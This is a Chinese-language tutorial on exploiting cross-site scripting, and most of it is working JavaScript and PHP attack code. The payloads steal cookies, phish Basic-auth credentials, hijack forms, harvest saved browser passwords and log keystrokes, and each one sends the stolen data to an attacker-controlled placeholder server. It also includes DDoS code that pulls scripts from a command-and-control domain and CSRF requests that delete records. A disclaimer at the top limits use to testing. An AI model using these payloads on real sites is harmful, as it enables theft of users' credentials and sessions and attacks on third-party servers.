XSS是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。常见的利用方式有cookie获取、基础认证钓鱼、表单劫持等。通常,在发现XSS漏洞后,会利用跨站平台里面的payload来进行攻击。但是,要更好的理解XSS的危害,还是需要自己动手来写并理解XSS的攻击代码。 ps. 本文所涉及代码仅做测试使用,请不要用于非法用途!
XSS最常见的手段大概就是获取Cookie了吧。
javascript创建img标签,利用img的跨域请求将cookie信息传递到我们的服务器上
var cookie = document.cookie;
var ele = document.createElement("img"); //创建img标签
var time = new Date();
ele.src = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+cookie+"&location="+window.location.href+"&time="+time; //cookie获取
ele.id = "imgs";
ajax发起简单跨域请求
function ajax(){
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
}catch(e){
try{
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e){
try{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
return false
}
}
}
return xmlHttp;
}
xml = ajax(); //实例化ajax请求对象
url = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+document.cookie+"&location="+window.location.href;
xml.open("GET",url,true); //若要传递的数据量较大,可利用 POST方法;xml.open("POST",url,true);xml.send("cookie="+cookie+"&location="+locations);
xml.send();
查了查资料,基础认证钓鱼在2012年流传比较广(那时我还只是孩子呀…),通常是你浏览着网站突然弹出一个基础认证的框。其实,所有可以利用标签插入外部资源的网站都可能存在这个漏洞。通常,在论坛等地方,可以自定义引用外部图片(其实就是利用img标签),将src链接到一个需要基础认证后才行访问的资源,那么就会产生弹窗。用你的路由器后台地址试试。
<html> <img src="http://192.168.1.1"> //大家知道访问路由器后台,是需要基础认证的,这里可以试试 </html>
了解基础认证钓鱼的原理后,可以联想到XSS也是实现该漏洞的一种方式。这里先利用php构造一个基础认证页面fish.php,
<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="info you want"'); //自定义描述
header('HTTP/1.0 401 Unauthorized'); //401未认证
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user." password:".$pass;
header("location:http://yourserver.com/fish_get.php?c=$fish"); //受害者在填写用户名和密码后,location跳转到密码接收页面
}
?>
利用js构造img引用该资源(任何可以引用外部资源的标签,如script)
var img = new Image(); img.src="http://youserver.com/fish.php"
在提交form表单时,通常会调用onsubmit方法。在onsubmit被调用时,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息。
var f=document.forms['myform']; //获取form对象
if(f==undefined)
{
f=document.getElementById('formid');
}
var func=f.onsubmit;
f.onsubmit=function(event)
{
var str='';
for(var i=0;i<f.elements.length;i++)
{
str+=f.elements[i].name+':'+f.elements[i].value+'||'; //获取form中元素的值
}
str=str.substr(0,str.length-2);
var img=new Image();
img.src='http://myserver.com/img.php?data='+escape(str)+'&url='+escape(location.href); //将获取的明文密码传递出去
func(event);
return true;
}
通过js将form表单中的action地址修改,也可偷取明文密码
var f=document.forms['myform'];
if(f==undefined)
{
f=document.getElementById('formid');
}
f.action = "http://myserver.com/accept.php"; //在 accept.php中接受POST过来的字段
但是这种方式容易被CSP拦截(限制action指向的页面所在域)
在用户登录时,浏览器通常会提示保存密码。点击保存后,下次再次访问该登录页面,浏览器会自动将保存的用户名和密码填充。所以,利用XSS在目标域下构建一个表单,若受害者在浏览器中保存了密码,那么便可以利用自动填充 的机制获取到明密码。
function create_form(user) { /*获取明文密码*/
var f = document.createElement("form");
document.getElementsByTagName("body")[0].appendChild(f);
var e1 = document.createElement("input");
e1.type = "text";
e1.name = e1.id = "username";
e1.value = user;
f.appendChild(e1);
var e = document.createElement("input");
e.name = e.type = e.id = "password";
f.appendChild(e);
setTimeout(function () {
var img = new Image();
img.src = "http://yourserver.com/img.php?username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value;
}, 3000); // 时间竞争
}
create_form('');
当然这种方法也跟浏览器是否支持有关,作者在FireFox默认配置下测试成功,最新版chrome默认没有提示保存密码。该方法的详细介绍参考余弦大牛 XSS Hack:获取浏览器记住的明文密码
键盘记录在系统木马中经常出现,但是利用js也可获取在浏览器界面上键盘记录
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = 'http://yourserver.com/g.php?c='+keys; //在服务器上接收
keys = '';
}, 1000); //每间隔1秒向服务器传递键盘记录,并重置keys
利用js可以很轻易向外域发起请求,这个特性导致XSS被利用进行DDos攻击。YouTube、搜狐等流量巨大的网站,就曾经因为存储型XSS被攻击者利用进行大规模的DDos。这里用youtube事件中攻击代码作为参考:
<img src="/imagename.png" onload="$.getScript("http://c&cdomain.com/index1.html")">//漏洞存在点位于头像处,头像加载后恶意js也被加载
function ddos(url){
$("body").append("<iframe id="ifr11323" style="display:none;" src="http://c&cdomain.com/index2.html"></iframe>")//加载一个隐藏iframe指向攻击者的设定页面
}
<html></body><h1>iframe</h1>
<script>
ddos("http://www.target1.com/1.jpg","http://www.target2.com/1.jpg"); //攻击目标
fucntion ddos(url1,url2){
window.setInterval(){
$.getScript(url1);
$.getScript(url2);
},1000 //1秒钟发送一次get请求
};
</script></body></html>
事件详细请见 Vulnerability In Worlds’ Largest Site
CSRF(跨站请求伪造)并不依赖于XSS漏洞,但是XSS也是进行CSRF攻击的一种方式。对于GET型
var action = new Image(); action.src = "http://www.target.com/index.php?action=delete&id=123" //删除某个值
POST型
function ajax(){
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
}catch(e){
try{
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}catch(e){
try{
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}catch(e){
return false
}
}
}
return xmlHttp;
}
xml = ajax(); //实例化ajax请求对象
url = "http://www.target.com/index.php";
xml.open("POST",url,true)
xml.send("action=delete&id=123"); //删除某个值
xml.send();